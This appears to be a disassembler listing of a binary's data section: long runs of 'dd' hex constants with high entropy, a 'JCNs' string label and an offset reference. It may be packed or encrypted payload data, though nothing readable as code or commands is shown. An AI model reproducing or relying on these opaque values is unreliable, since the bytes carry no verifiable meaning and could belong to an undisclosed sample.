		dd 34E9DD2Ch, 8027D0F1h, 0D00C73FFh, 1513AEC2h,	0F2DD1E8Bh
		dd 0C9B2CC88h, 34F8540Ah, 3CBF2739h, 0D50837A0h, 328119CDh
		dd 0E03CA1EEh, 94A41A37h, 7C6C1EB8h, 18E71925h,	0CCE55825h
		dd 2A1F3348h, 94BAF33Eh, 114A0404h, 526283F4h, 76CAA8A4h
		dd 0D8A76A12h, 0AB0748Bh, 0B697DF88h, 124A03Dh,	535D81A6h
		dd 8F07191Ah, 1CA51D8Eh, 0A16ED427h, 30B0278Fh,	431B1B53h
		dd 91810924h, 565794C8h, 0FA2781A3h, 8528D4C9h,	0D3C3D1Ch
		dd 386A4BA5h, 0D8281B98h, 0FE407A14h, 53D8F5D2h, 3A02B434h
		dd 0D8336AD1h, 0AE0F0397h, 978148A7h, 0D10CC7A2h, 90A6A966h
		dd 77EF0F07h, 4E8DD4D1h, 0A3EBCEA2h, 37791190h,	345E2536h
		dd 0ADD08A98h, 0A2EE2C83h, 69136C31h, 0F1D8CE5h, 0B76507A1h
		dd 0AE6DB46h, 98336572h, 0A30C1822h, 6E9250F5h,	50C64C7Dh
		dd 9C2507CEh, 7DCE1753h, 2B60228Ch, 2DAC3228h, 0ABF50068h
		dd 0A2F2B08Ch, 42B6CE7Ah, 3C1670B7h, 9531A17Ah,	2CE2725Bh
		dd 38DA2D29h, 906A6778h, 84656424h, 54327D16h, 34A4212Ch
		dd 78A31588h, 44AF18B3h, 3F282E08h, 6A7284A3h, 4586BA37h
		dd 51ED84Dh, 862AF1BAh,	0E45513E8h, 946EC08Eh, 0BBD269DFh
		dd 82E9275Eh, 7BD1895Bh, 0CDA5904Fh, 0B0D517F5h, 3B14C9A0h
		dd 72A054DDh, 80639A29h, 9202483Dh, 507ECA8h, 0AA925501h
		dd 0FD51F141h, 0A83A67C3h, 5D08FC85h, 78D0CA77h, 46F1A391h
		dd 4EAA9955h, 4EFD21D7h, 5143A111h, 29E62247h, 11DCE880h
		dd 9CA82CB2h, 611E2389h, 4667E24Ch, 0AEDDBAF3h,	6587E913h
		dd 11963911h, 0A2B6CA8Ch, 4C65495h, 617326F3h, 0D17BE305h
		dd 3BE84E3h, 5EB980D2h,	0E2FE081Ah, 0DD6118CEh,	88E34E39h
		dd 82A1B8C4h, 4C0B6310h, 31332F10h, 0C75221C8h,	0AA2AED8Ch
		dd 0D0AE86DBh, 2E710F68h, 122A4533h, 442DE7C9h,	664B8A1Fh
		dd 7137899Ah, 9C4C76FDh, 636B3919h, 0FFE4862h, 0BAE991B8h
		dd 267D9BD4h, 32745E3Eh, 51DC2A10h, 0A07DFCC0h,	0AC4D95F3h
		dd 0F53973Ah, 83D77A1h,	0C02B5C78h, 5F5B4551h, 0FAE0FB82h
		dd 6A9498E5h, 4DDB76A2h, 87700441h, 4C9D1BBCh, 547A20CDh
		dd 0F7C242E4h, 0A01E71E7h, 0D34C7977h, 244D8AA7h, 47A0BBD0h
		dd 6C1F360Ch, 53F4A69Dh, 21F8AA80h, 9B573E05h, 0F9C1CEC3h
		dd 2A7E2BA3h, 102CF9E0h, 1ECB9CF8h, 0A7E72A47h,	799AEC4Bh
		dd 7398C59Eh, 29458863h, 83F4ADE4h, 0EBF27A8Dh,	0F74780C4h
		dd 73FDA176h, 0B941D062h, 4B098C98h, 5D7AA526h,	0EAC8409Ch
		dd 107918BAh, 9E08870Fh, 0B0AA0E0Fh, 1415DA87h,	0C64B35h
		dd 7A55010Fh, 0B62C7714h, 533009A7h, 88F0B725h,	0B42E0681h
		dd 0C48628FAh, 8405FBDCh, 6E63E39Bh, 0CE515934h, 0D2F7D975h
		dd 4874F137h, 28724970h, 48191CEAh, 2A22BE79h, 7D338846h
		dd 0DCA0F0E5h, 6A8F4B73h, 0BAFAE17Bh, 3E5B4937h, 0B9EC4BFEh
		dd 4B0392A0h, 84B9F5F5h, 0BFD0727h, 50089F30h, 602138C8h
		dd 21C4D976h, 6402B8E6h, 5F45F821h, 0B0A71601h,	844AB185h
		dd 6CA56C49h, 4C030310h, 88203810h, 0E468F581h,	14EB0692h
		dd 0FCEBD44Fh, 0FB0E0DACh, 87C2F2F0h, 9E786E0Bh, 0CDB7C570h
		dd 0E6E28458h, 0C9BE87C2h, 0DD98B418h, 0B46A8B31h, 0F1A94EA2h
		dd 24B89F8Bh, 37A9B6CDh, 6CE11ACEh, 2DAF7BE8h, 8E54BCBFh
		dd 4488FFFDh, 8A0h, 196E0000h, 80000000h, 434A0040h, 1000h
		dd 0
		dd 20F33004h, 51BFE94Fh, 0C76802h, 308C0B0Ah, 67A12823h
		dd 84C03A5h, 0AECB72B7h, 14B64CE6h, 52EB2162h, 4C2451ECh
		dd 0B74A6DBCh, 0FDD4F98Ah, 4586DC0Ah, 85E82894h, 0CB79D385h
		dd 6D362B91h, 72779A0Bh, 12550396h, 0FB19DB21h,	22E6EE64h
		dd 98E0A2DEh, 2D20AEC2h, 2956B49Eh, 0BA5D6C36h,	0CA08B002h
		dd 83087518h, 32090A53h, 4A560011h, 0B825844Bh,	289690ABh
		dd 0C3E0035h, 0D6E6D5A3h, 55394D1Ah, 5B0D9CB5h,	0ADF7869h
		dd 34FA6018h, 10601D75h, 0A2573819h, 188114F5h,	5FF08912h
		dd 20000000h, 0
		dd offset loc_409000
aJcns		db 'JCNs',0
		align 4
		dd 0F0B10000h, 62E820C3h, 300C4228h, 0BC3FBF8Eh, 9737F96Bh
		dd 0BEB84FFCh, 7F007C02h, 38B45828h, 95BC87C3h,	3F75E23h
		dd 0EFA03D7Fh, 94B0B000h, 0E2611139h, 946859EBh, 0B5CDF81Dh
		dd 8C273260h, 184A9D00h, 8FB68023h, 0CF080A1Bh,	0A7030A03h
		dd 91CFDC6Eh, 974FF0E9h, 95B66E42h, 93BF96DDh, 0EFCDE6A2h
		dd 0DC8D5818h, 885F607Ch, 0E0416FB2h, 3FA88D9Bh, 0C9EA290h
		dd 2E1F54EBh, 59E9FC4Ch, 0C41D6C4Ah, 2CF06171h,	59F80F20h
		dd 556A22C0h, 8FC604DFh, 0AA061F88h, 0E61EC582h, 0AC7D3D8Fh
		dd 8C490924h, 0A09EEEBFh, 147FFA5h, 96664475h, 28167371h
		dd 1C48C880h, 0AFCDF935h, 0ECD81C82h, 3EC5D949h, 0B633CC59h
		dd 0D0D48C13h, 0E7A26015h, 378052F2h, 91602770h, 0E13CCC82h
		dd 0C0A21C87h, 9897B456h, 0B3FDBB4Eh, 490AF000h, 7B1A879Eh
		dd 0C3817B8Ch, 426F06CEh, 0D4F1376Dh, 5385F4A1h, 0A20A23C0h
		dd 661F683Dh, 56033E24h, 0DE038CB6h, 0CB83930Bh, 0AD4D5DEDh
		dd 855C00Ah, 0E9E671AAh, 0E9DE1100h, 37014B52h,	39340A7h
		dd 508CC4C3h, 0C3BFD95Dh, 91F5F273h, 0F4113175h, 0E1C05B60h
		dd 0E38089FDh, 98DA7DEBh, 0E470AEEAh, 709ED010h, 0CA0524BDh
		dd 0D68A85F2h, 31F4BCF2h, 75C52728h, 404F9470h,	90498FCFh
		dd 0C5FE7395h, 2850E496h, 2038B83Ch, 0A2FD14F2h, 300A1C0h
		dd 0F452A67Ch, 7BF029C1h, 0C7006457h, 13CD1E61h, 420825B8h
		dd 6023CF75h, 91A30E78h, 4548BF4h, 148DE0B0h, 0FE8B5CADh
		dd 7D14F8AFh, 6D1A8CCh,	5005EBEEh, 9B472DDDh, 5B7178B2h
		dd 0F0398E30h, 754C58C0h, 0FDC53618h, 0EFA3117Ah, 95CC314Fh
		dd 0CBC68B03h, 6D4307E7h, 7434BB6h, 9257522Dh, 6D161334h
		dd 9FF5B164h, 0FF144E30h, 0FAB370A6h, 0FB728A75h, 0C16381E0h
		dd 25B21F22h, 0AF52B5F6h, 0BD1DCA00h, 0DBC0C691h, 72029A63h
		dd 82E8F0C3h, 6EA0A3A1h, 7030D0D0h, 0F3840CB1h,	38F871F1h
		dd 446B8301h, 36EAAC7Ch, 0F9516A63h, 0BE1CE0A3h, 0F39850D1h
		dd 0F41FF595h, 0CFC37419h, 0FBAE353Dh, 0D1C56242h, 8D1A88A5h
		dd 5A98CF34h, 79D45D92h, 0CB7510BBh, 4BF76D2Eh,	47293EB9h
		dd 0E43FAD8Ch, 0A882FB09h, 0DF7D1D7Fh, 7533C149h, 0D4AF689Bh
		dd 7B46E3D7h, 1BF62055h, 8A982E25h, 16CF1B5Bh, 841144FDh
		dd 8B07453h, 0E3F112BEh, 0C3EAF2F5h, 0CF5BCABAh, 63A0E05Bh
		dd 44DFE6DEh, 8DB87D5Bh, 0FB53E2DCh, 0DCE3D84Ah, 0ADA133F9h
		dd 0FBFB4527h, 4C66F351h, 8D48F14Eh, 0BA6D5D6h,	6721C5A3h
		dd 49440A3Eh, 5F66A24Bh, 0FAA031B5h, 9BFAE211h,	45302C22h
		dd 0C4104881h, 0B0D4745Fh, 74A4097Fh, 0EB2DA049h, 86FD556h
		dd 181E19BFh, 8536F52Fh, 0E5E19949h, 57F4D02Fh,	0F1493B30h
		dd 6D3C66B0h, 0A99E2568h, 0DCD10063h, 3C7EFD98h, 0E332E130h
		dd 3E2EAEEEh, 1F1C5AACh, 0D41A568Ch, 7772DF9h, 5B4E9540h
		dd 0C54A715Ch, 0A247B2C5h, 78E2D13Fh, 4EB7BCF8h, 65A2C007h
		dd 1BD381E1h, 71F9665h,	4423F3D8h, 0FABA217Bh, 0BE422A1Ah
		dd 88A0AF0Dh, 0F05B0FE2h, 715A8E7h, 5DC9C10Fh, 6B1C9580h
		dd 0D50CC5A2h, 0D9068A71h, 0CDE21DF7h, 516A041Ch, 1D0A1E6Eh
		dd 107C597Eh, 0E856FD00h, 0CE0C57CCh, 6F32EC3Ah, 7E031586h
		dd 6F7B9BC8h, 0FF013332h, 127F0BDBh, 9C53C540h,	1D1F1CE5h
		dd 0AEB1D205h, 0E1D3F62h, 3CF9507h, 73168743h, 0CACE9AD3h
		dd 0ECC0F705h, 0A8450F89h, 71A44F48h, 8F013442h, 937995D9h
		dd 894D68EBh, 0E2F950FCh, 168910A8h, 0A9DBAB5Dh, 37980731h
		dd 5F7475F6h, 785ED001h, 5F1EB84Dh, 230B58B4h, 9A6C0F0Ah
		dd 845FFC54h, 72FBA46h,	2CBDD967h, 889CEEDDh, 0C66C0A1Fh
		dd 89964D9Ah, 68205AA7h, 9A8838C1h, 29BFB405h, 0AE771BDAh
		dd 4598FDB5h, 0D1BB058h, 0A8392E6Dh, 60B41DB6h,	0D2289662h
		dd 0D9FCF20h, 0D7092A72h, 0BC05136Ch, 1AD62F06h, 33E67334h
		dd 61C307E5h, 88B5536Fh, 0B041C3E6h, 6E277302h,	35F117B7h
		dd 2F577C10h, 0D8E266A6h, 9C11A7DBh, 852AC980h,	8AA45A34h
		dd 30629A2h, 0ABEA0E02h, 0D34B81DFh, 0E6F058C0h, 7F56095h
		dd 0FD304DFEh, 9BD187A0h, 0D483805Bh, 0E7A5AD81h, 23590070h
		dd 12A7606Dh, 14CF2F43h, 0E86FE4D6h, 8860A4DEh,	792D83E3h
		dd 0D56978D6h, 66713BE4h, 0E7DA7C96h, 15A8755Fh, 338B54E0h
		dd 1E72510Bh, 70B33C18h, 94DBA04Bh, 87E0B597h, 3708B1F7h
		dd 0CA91BBF1h, 0C0F45695h, 0F56AB410h, 63402381h, 9B8D2152h
		dd 29C473FBh, 5DE83281h, 2FD6A131h, 81FC2C56h, 781F0330h
		dd 0C319CBF8h, 0DA86ACB7h, 0CD6DF529h, 0E596F813h, 64BE42E0h
		dd 321629B9h, 6E3DDBDBh, 0F3C58F29h, 0FEE7F941h, 6CC2E9Bh
		dd 103E4B35h, 56BEE770h, 25A2A810h, 52DDF9EAh, 1E1867FFh
		dd 6383BA30h, 0A7F0604Fh, 0FC4AFFC6h, 0DA817CF1h, 2C1C957h
		dd 0D542F09Ch, 0BEFCBAB0h, 854716BCh, 0E2940534h, 3F6574D5h
		dd 0E82D4231h, 6C4D03E6h, 0DC8D135Dh, 0F65D43D4h, 3C4C92Fh
		dd 0C762C333h, 0C019FC2Ch, 225570BFh, 86DDE397h, 82270A1Dh
		dd 14AB2773h, 2E3781FBh, 1E48D9FCh, 880453D5h, 0E41DBDA8h
		dd 0BCB79C26h, 81B3D1F9h, 0BE9635A1h, 3FD65ADAh, 1D6E66F8h
		dd 0B676CB3Ch, 0AADB96A6h, 0B23420A9h, 95A19EC8h, 2B4061DEh
		dd 0F82A83E2h, 0E02B5CDBh, 0AD31F4F4h, 0ED64AAD9h, 2B46433h
		dd 253C933Eh, 0B02B36Ch, 58961E54h, 712B6311h, 0BE6AB909h
		dd 0B3A55E3h, 0A38A6EC3h, 0DB5EE0F1h, 96A6521Ch, 6470E2FAh
		dd 710A6A6Dh, 5FF5497Bh, 6B4095A3h, 0B2A9E14Ah,	0A837A3BEh
		dd 8A5A9A1Fh, 0AF0069E8h, 0BCC22A92h, 9A62F1F0h, 3B9FF5DCh
		dd 0F0F1F900h, 5303E243h, 0D1E115C4h, 45D7FDEAh, 7D30DBA0h
		dd 0A9DC4D60h, 85291DDBh, 0C42752E7h, 81D390BBh, 610192A7h
		dd 69EC8C28h, 0F9AB8297h, 52D1DD61h, 9FE8648h, 555692FFh
		dd 5178BF1Fh, 0AC55BE4Dh, 0D0C9793Ch, 0EE2646F6h, 0B5F16D15h
		dd 6A2D76E2h, 0DA50FC99h, 79B08775h, 6573A7FBh,	722A3D1Dh
		dd 0F94F5F0Ah, 0F63310DFh, 0CE5EA02Ah, 1617AE68h, 94C9D97Ah
		dd 82308035h, 0D7F3EA1Bh, 323F411Fh, 0B466941Fh, 6C95B020h
		dd 15DD24F9h, 14C6A47h,	0BF971112h, 339EB0ECh, 0BC544075h
		dd 651573B2h, 0C3CFF45Dh, 0A0B7EF67h, 8081E258h, 824D1F50h
		dd 4F42F140h, 3E1337EEh, 8C4A27A7h, 2787CA9Dh, 14F8F635h
		dd 1126AC08h, 0A3ECEACAh, 0E37567Bh, 6B9D2A32h,	6ED2DC23h
		dd 0FA80164Fh, 82D5C8A1h, 1D062BA8h, 0E39AD10h,	2F0A227Ch
		dd 71B06B1Eh, 3E91A7FAh, 21209055h, 50AF4CC2h, 0D8B5154Bh
		dd 0C42A6D3Dh, 0E58084D9h, 8581133Bh, 0E59BEE4Ah, 8E14F446h
		dd 0ABC1CABBh, 0B6D41964h, 663F976Fh, 6585A54h,	928CD134h
		dd 0C92B582Dh, 6E031EEDh, 79B7B90Eh, 0F8D8DEDDh, 0C34BE1C0h
		dd 1AF1EB5h, 0F6E7B9D7h, 9EE6414Fh, 6159CBD7h, 0C00CD04Ch
		dd 72DD3C71h, 7DFA7BCh,	6BF89FA7h, 0E3DE1F6Ah, 0C7C6D409h
		dd 20875A2Ah, 32947FBFh, 4ADDE37Fh, 5BB1A392h, 0EF496Dh
		dd 7C13BE7h, 0D54AF897h, 0D12808C5h, 4363C3F6h,	0B8F35F09h
		dd 1EA9C809h, 1E6CAA0Eh, 0C5E2521Ch, 0BBF07B03h, 231D68ACh
		dd 69E7513Bh, 87F7ED44h, 0B6AEAA81h, 0FAE10BEEh, 15D972Bh
		dd 3F03DE5h, 60F55D1Fh,	0CAF587F1h, 47D24069h, 0D48092DFh
		dd 8A44E671h, 26B1B3DFh, 16B8450Ah, 0FDA4273h, 99B98093h
		dd 181F82ADh, 4717EEB0h
		dd 0A9E6B641h, 956A1EDAh, 0FB3BFE9Fh, 6E894456h, 0A267359Eh
		dd 0FC1878Eh, 0CB371343h, 56A1EC62h, 57464E97h,	0B73EAC8Ch
		dd 0E6C39CD4h, 0AC423F81h, 86E6B0DBh, 5E675E7Fh, 9D7C899Ah
		dd 0A6716AE8h, 0C1D286D2h, 45A5CCE4h, 0D23F10h,	1342C6E5h
		dd 5A68AA7Bh, 41E9F42Ch, 0A741A021h, 8C9A232Ah,	66BBC8A8h
		dd 2CE6FB9Ch, 94E08B1Eh, 2A8D0145h, 5459F222h, 0CABEE9D7h
		dd 0ADBCBA3Ah, 0DFDF2FFAh, 0BA2CDC69h, 9FC1A003h, 0C2F77EEBh
		dd 0B463D9C5h, 48E8990Ah, 0A8ACB2DBh, 24E528FEh, 0D5C4C8B0h
		dd 4ACDE22Ah, 63A512D1h, 881A35EBh, 0B6D8B99h, 15F12A61h
		dd 0C381D7B0h, 0E9260156h, 0BE2681E0h, 1CEF7A3Ch, 7D210359h
		dd 0DB8D3EE8h, 260FA043h, 5254AB0Fh, 0CD328118h, 0E4CF825h
		dd 0D1CFD9A7h, 0EA29B990h, 2E242271h, 69E3E7AAh, 0CFFB9153h
		dd 161C5E8Fh, 73670270h, 0D3D59DACh, 0D6A06034h, 226A03D2h
		dd 26355253h, 0FD668877h, 0D55F8AA6h, 0D4A77D22h, 0C7E3BF4Fh
		dd 936CA8D5h, 8DC610B9h, 1B2BF136h, 0F3A1A1ABh,	9F36D1E0h
		dd 0C339181Fh, 173D174Ah, 1C96AD5Eh, 8C5286B6h,	8009A1BEh
		dd 0DA0ECBE4h, 2D132B3Bh, 7F96AC2Ah, 0F01682C1h, 0C4E2AF43h
		dd 32F769F3h, 55059604h, 4FF1F104h, 4D0E86CAh, 19148C09h
		dd 64988BD5h, 92B7630Eh, 4DF67E43h, 0B66B827Fh,	8C54A1C0h
		dd 207BFD1Ah, 0E7B071Ah, 9C7CFD96h, 0B5E030F2h,	793D01AEh
		dd 91B218B4h, 0A00AA0BFh, 207BAE09h, 80AEE4B6h,	3112F7BBh
		dd 27C1525Fh, 6DC24A86h, 707B68B7h, 0CE2D4FC6h,	7E5382Ah
		dd 0A773B0CAh, 1E4F7E34h, 8585606Fh, 1BFBBE2h, 6153DED4h
		dd 20DD674Eh, 228BECADh, 0A5241986h, 20FAF776h,	0C5819070h
		dd 0D737BB57h, 0DCE5578Bh, 2C51DA01h, 0DF65FB0Fh, 1673800h
		dd 0C33749C9h, 0D170FB51h, 581F68A1h, 7B1EC4ABh, 8F2655FBh
		dd 50918C04h, 0D0213EEDh, 954DC5CCh, 0F1C17A11h, 0FD5124FCh
		dd 83EE5B90h, 787968DDh, 54D3A00Bh, 5CF13689h, 45ABFDC1h
		dd 711B6EDEh, 180C0D94h, 0F0A8BF95h, 0D4B61F13h, 0A29E58C5h
		dd 0DDF4845h, 3F134682h, 363C7D54h, 0D316A291h,	0B8C1DD03h
		dd 167E838Fh, 4C141AE6h, 9168C24Ch, 1A37ABF1h, 38DBCCBEh
		dd 7E162A6h, 40709C26h,	16B7DC84h, 0BD550E80h, 60E44808h
		dd 0CDE065ABh, 5AC5BDE7h, 8B957DDEh, 425116BFh,	0A2E3B5A2h
		dd 0BE943C1Bh, 9D7D7383h, 4DD551AEh, 17C0DC87h,	5A2F48A5h
		dd 806EFDC8h, 0F43C1026h, 7095147Ch, 3B99077Ah,	0E3A961BCh
		dd 0F8BAAD16h, 1D542D7Dh, 0B8AC7ACDh, 79A468B4h, 38D55FC0h
		dd 0D569F03Eh, 2E5B4F5Ch, 0E9C60142h, 0B46AE4F2h, 67C72956h
		dd 0F36FA399h, 2C464B27h, 0E90A4293h, 337FE64Ah, 7EEE9886h
		dd 759E090Ah, 28DB4413h, 0F135F715h, 6260CE73h,	0E8E1EBA2h
		dd 110E6A9Bh, 0C36A2DEAh, 0A65B06C7h, 10A54B35h, 0A513633Ch
		dd 5623B878h, 814497DDh, 0DB696FBDh, 0D90A8208h, 4468ED82h
		dd 4AAACD55h, 8FA5C626h, 0DA2340E6h, 2C560FC1h,	51772BD7h
		dd 0E1F084B8h, 0E551CCB7h, 6CC95BB2h, 0E2169533h, 66D1E82Eh
		dd 96BA1015h, 19286E87h, 0A8CF09BAh, 766216F4h,	0C41D794Dh
		dd 0DB866C15h, 0B2F2AC4Ah, 9CE09436h, 8AAFA5B5h, 3EA7E50h
		dd 5D225F53h, 40FF85A9h, 6A025FCEh, 0C8EF6DEFh,	27311159h
		dd 7072FF39h, 3F697439h, 0E205BC92h, 783827DBh,	8A36CD72h
		dd 59DC46Dh, 76D5B3E2h,	0D9D9E983h, 7258F186h, 0E3178057h
		dd 303EE5B7h, 0E64B8756h, 0C8CC8D3Fh, 7E62642Fh, 0C77EEAE7h
		dd 7C5FC0Fh, 2DD3B27Ah,	0D0E07DDh, 0A87D42A8h, 0B7FA9E8h
		dd 55B4291Ah, 0B080AD9h, 0D6FD6FBAh, 60436BBh, 17054C28h
		dd 0CE77D70Fh, 0A6AF479h, 0A96D3937h, 0D81FDFECh, 47E57178h
		dd 0F8759FABh, 2B64CD40h, 625FBC58h, 0DB27E88Dh, 40202568h
		dd 5164B9AFh, 6D063E0h,	3BA76D7Ch, 0F4797A37h, 4896E07Ch
		dd 159D96AAh, 37F243CAh, 5A375B12h, 95B4F43Bh, 0BEB4E76Bh
		dd 25C2B460h, 0D2BA4C8Eh, 0F8EC956h, 3FAE16EEh,	0A6D81204h
		dd 0AB6F2F0Dh, 0F2A9601h, 256A676Fh, 8AD55527h,	482501E1h
		dd 8016F7E1h, 2A4593FDh, 368EEB7Fh, 0CB6D1FC2h,	11483BF2h
		dd 73B7F123h, 728B97A3h, 0AE06059h, 2FD6236Dh, 96E77F78h
		dd 7ADC5A52h, 0C394762Ah, 90829555h, 13C16D54h,	808737F3h
		dd 33CEE444h, 36D8C511h, 20DC8FDAh, 5775D32Ah, 1C8E08BCh
		dd 39605F51h, 0FFBE49B4h, 4E1B3097h, 0CCAA1315h, 0DCEA3763h
		dd 63395Fh, 47B8AD01h, 5891D157h, 4BC77F4Dh, 3B09C176h
		dd 20A3703h, 57EDEEFCh,	58FDDC0Dh, 0D0E0AE72h, 0FB8A5170h
		dd 4DB57F7Fh, 0F1116290h, 0A4819A43h, 599AC943h, 0CB107DF2h
		dd 96688CFFh, 5FA6DC41h, 0A4D2A574h, 655A2568h,	0E038781Eh
		dd 1251F94h, 0DD81E951h, 0CDECF9Bh, 0AA47E57Ah,	0F42278DEh
		dd 72EDE0EAh, 492F7464h, 21C2BE2Ch, 0C2F613C7h,	0C2D3D347h
		dd 8118D870h, 0FA8AD852h, 0E99B474h, 9E5A09B7h,	9EFA5555h
		dd 4C3ED108h, 0DF77F1Bh, 0DFB55013h, 92B53D60h,	0C1048D2Ch
		dd 0A5F3A295h, 9EE0FFEDh, 0E18953Bh, 923E2C5Dh,	28E71477h
		dd 0CE290F9Eh, 0E68D1535h, 6F7E4AB7h, 0E04D0FC7h, 0DBC0E814h
		dd 0E67EBA56h, 2A13735Ch, 64DB5E1h, 5408D2F4h, 2A73B012h
		dd 0ED791A8Dh, 274FB955h, 8EBA5D01h, 0C9826116h, 6B81DB8Dh
		dd 0F78F3591h, 0AB52377h, 0C8B15E15h, 0AC6DA393h, 1B2AEA17h
		dd 6FE5B7BCh, 3F305204h, 0E2ED500Bh, 18C0340Bh,	59CEF170h
		dd 37D9F4ADh, 0D409778Eh, 7C8D5A92h, 0A17D4776h, 6926ACE7h
		dd 0BE609A23h, 0D5C420B1h, 87BBB39Bh, 0FED9CC1Fh, 7E118FCh
		dd 55BCECC6h, 35159985h, 8305AD2Ch, 15FFEDACh, 1E71FE92h
		dd 5E7F8CF6h, 734AF7E3h, 719C51F5h, 9B6CDFC8h, 0DFA88B47h
		dd 0EA2AE96Ch, 0F4E51AE0h, 0B5E69E88h, 93A5BBA3h, 0A3E8751Dh
		dd 8E82C9F3h, 0A4302310h, 0AD5E628Dh, 0C28EF627h, 7237025Ah
		dd 0AE61C13Dh, 0BFDD06F2h, 17529210h, 7ABD46C4h, 0A6B2AC37h
		dd 48F8EFC5h, 75283CF2h, 53C3E63Fh, 3E3BDE69h, 3395F370h
		dd 0BF0CF152h, 32C5B12Ah, 536977F4h, 0CDB6CB1h,	0B60D8A3Ah
		dd 816FF9C3h, 2F17FDA0h, 105513A4h, 0A039FF98h,	4C2667Ch
		dd 0E7F5EE69h, 9177D1BDh, 0B079A30Fh, 0CE743C0h, 83D4FC82h
		dd 974E660Ch, 10A78299h, 0E22426FDh, 1EEF56A8h,	3E27CA80h
		dd 0C00CB478h, 0B8EB60FAh, 42210306h, 0F03D1B90h, 87095C60h
		dd 131EF2ECh, 7AECC921h, 0A545016Ch, 0F77CB895h, 0C419ABA9h
		dd 4DC3864Fh, 0F991B8D3h, 40C725BFh, 0C3FFD67Bh, 7D357B8Dh
		dd 0F7B4BEFCh, 0BF9621Ch, 5B56789h, 739ECCDCh, 0ED907EA5h
		dd 4CC3760Eh, 0B6C4DC5Fh, 2BC7DA40h, 1E259101h,	6C359457h
		dd 5BF20F0Eh, 702DFA7Ah, 7754CD68h, 431B4248h, 0F555DD3Dh
		dd 0FD5A05C3h, 51BAA90Fh, 4E9F7B4Ah, 0F57E7C09h, 0B08EB247h
		dd 0A9D54233h, 0AF31E25Dh, 5435A2DCh, 0E1BE67D8h, 0D614CB25h
		dd 4CF07058h, 0CAA7F50Eh, 0E3704637h, 0CFF24777h, 7220FC0Fh
		dd 1555B01Bh, 23D38F77h, 2BCFB09Bh, 0B6E87E0h, 7DE615B7h
		dd 0F242E4CAh, 1D20B132h, 5EC57999h, 0DEEC15F5h, 0E6EC41A6h
		dd 7AB718C6h, 1383703Eh, 9A2958B7h, 503DC782h, 6DE50E9Fh
		dd 9E22CE99h, 16DE84ABh, 0BC74B44Ch, 6791B8B2h,	62729059h
		dd 0EEAD74E3h, 5B91D56Ch, 0A9745BAEh, 30F5AEEh,	86567FABh
		dd 0A76BE4D4h, 153BDE1Eh
		dd 0B91056ABh, 0F83C44B7h, 2CEADF56h, 623638F0h, 8071F37Ch
		dd 720E4726h, 8AF43783h, 594BCA56h, 404E954Ah, 0AFCCA456h
		dd 58557541h, 0E7C4A36Bh, 8D5D5122h, 0EA7CEBB6h, 7C2E5E65h
		dd 12732524h, 7E0F9614h, 5B9659C8h, 5FDD72BEh, 0B6F28984h
		dd 62E07695h, 0A81214E6h, 28E4385Eh, 12DBE40Bh,	728E42D7h
		dd 0E790B3DFh, 6F9FCBC5h, 4E33C405h, 36B230B4h,	0CE1DEA2Bh
		dd 3B2B775Eh, 4279D16h,	0F9A5150Eh, 0A95E3514h,	9472BF99h
		dd 0FE1498BAh, 2B230755h, 7648E13Bh, 907CD64Ch,	97E5B4D5h
		dd 33534EBBh, 4842D2B5h, 0DFB3B505h, 9840BD2Dh,	52A79C39h
		dd 0B51D7C22h, 0DB4B21AEh, 0A2AF457Ch, 25D2406Bh, 47156A5Bh
		dd 84F26ACAh, 0B892C5B4h, 0D939BC58h, 0D52BC00h, 14531A64h
		dd 0E947A931h, 0CD59780Bh, 855CBA08h, 0ED001BDBh, 9C2D0CB8h
		dd 14FA4056h, 0E44A142Fh, 98113CADh, 964DF29Eh,	33B97F84h
		dd 200E145Eh, 39FC9655h, 42B7C29Ch, 30D832Fh, 50A1E333h
		dd 8177489Dh, 5146669Eh, 82924DB3h, 3C5563Fh, 6374BFEAh
		dd 2D3CD38Dh, 7D52F079h, 0DFA5E1E0h, 47CD6B7Fh,	0EBF0C1E1h
		dd 0A24C7C8Ah, 0FC9F546h, 9C6A279Eh, 9518C4C0h,	61F8BB15h
		dd 1EC7C9ECh, 340C59AFh, 0B73F1CCBh, 49680DC1h,	0E95BA7B4h
		dd 7A0D9F95h, 0C92DFD97h, 0B7EC20ABh, 5685C88Eh, 26C17F19h
		dd 8723B59Dh, 877C172Ah, 0DCE35B27h, 22D310C7h,	0F7ABFB75h
		dd 0BF73B92Bh, 23526ADCh, 0DEDAC450h, 66FC2F7Ah, 0AB5FFD20h
		dd 3662AAE2h, 0C5AC5400h, 3FD56355h, 44E536DEh,	45F5657Ch
		dd 9D7A2260h, 3241A9F6h, 35A1AAF1h, 2E1F799Eh, 0BCE61A53h
		dd 3C5F3DACh, 49860ACFh, 85A7B8B1h, 4631D8E0h, 0E9D57DC7h
		dd 3597E50Ah, 9F1B251Bh, 8C2DE0FBh, 0C50DAE1Ch,	0FC5A8373h
		dd 0AB1141EAh, 4C16CAD6h, 4B68A632h, 0EADC7A89h, 88571B38h
		dd 53E5DD6Fh, 0BA3DBBA0h, 9FDF5CC0h, 48029C09h,	2D6E9F85h
		dd 0E5C5DDD6h, 0E3B8BB4Ch, 95CED854h, 4AC416E0h, 57C0735Dh
		dd 5B5BB445h, 0C74516D7h, 126F7084h, 2DEE4F1Bh,	849B9377h
		dd 6C0CD35Dh, 3FC0B137h, 4376953Ah, 8BD298EDh, 2F03B1A0h
		dd 7F2A558Eh, 0F854AD29h, 0B41D7C35h, 276EFA79h, 6656CAD0h
		dd 383CC299h, 78BEA79h,	0D55DE8B6h, 0D42DC8C8h,	0FD01AEEDh
		dd 0C96E13CDh, 68A5AE47h, 0DF4F4BB5h, 63D6EC7h,	0B456B451h
		dd 2AE1D6EBh, 0CC24745Dh, 1D4EA81Eh, 5134410Eh,	839BA364h
		dd 52909829h, 376B9E9Bh, 0BC1EACAh, 8087324Bh, 4F787112h
		dd 0BE0F67C1h, 30FA500h, 0B0BFC107h, 9B7662A3h,	3DFA48D9h
		dd 405B07BFh, 0B8CF5B3Ch, 1CA9A099h, 0B0096C22h, 5614020Bh
		dd 802783B0h, 1AC950E7h, 54936564h, 25F08465h, 0FAF845AEh
		dd 200A62C7h, 2B986F42h, 6CA6F076h, 0E32528BEh,	0AC609796h
		dd 1F708887h, 40B82E08h, 3A9AA6D1h, 0B7F03E68h,	5BE28E6Eh
		dd 0D031FC46h, 6AD20419h, 0EF94D49Ah, 3D125E75h, 17F2E6BAh
		dd 0F488DFD8h, 7F72B7EBh, 14C825BDh, 1B87F836h,	1A732B23h
		dd 0F8A46BC8h, 48447175h, 7AC68221h, 0B83C79D6h, 0A25DC97Ch
		dd 0C41E8825h, 6BF034D8h, 238ADA38h, 0E7FB2F76h, 9BAA8BC8h
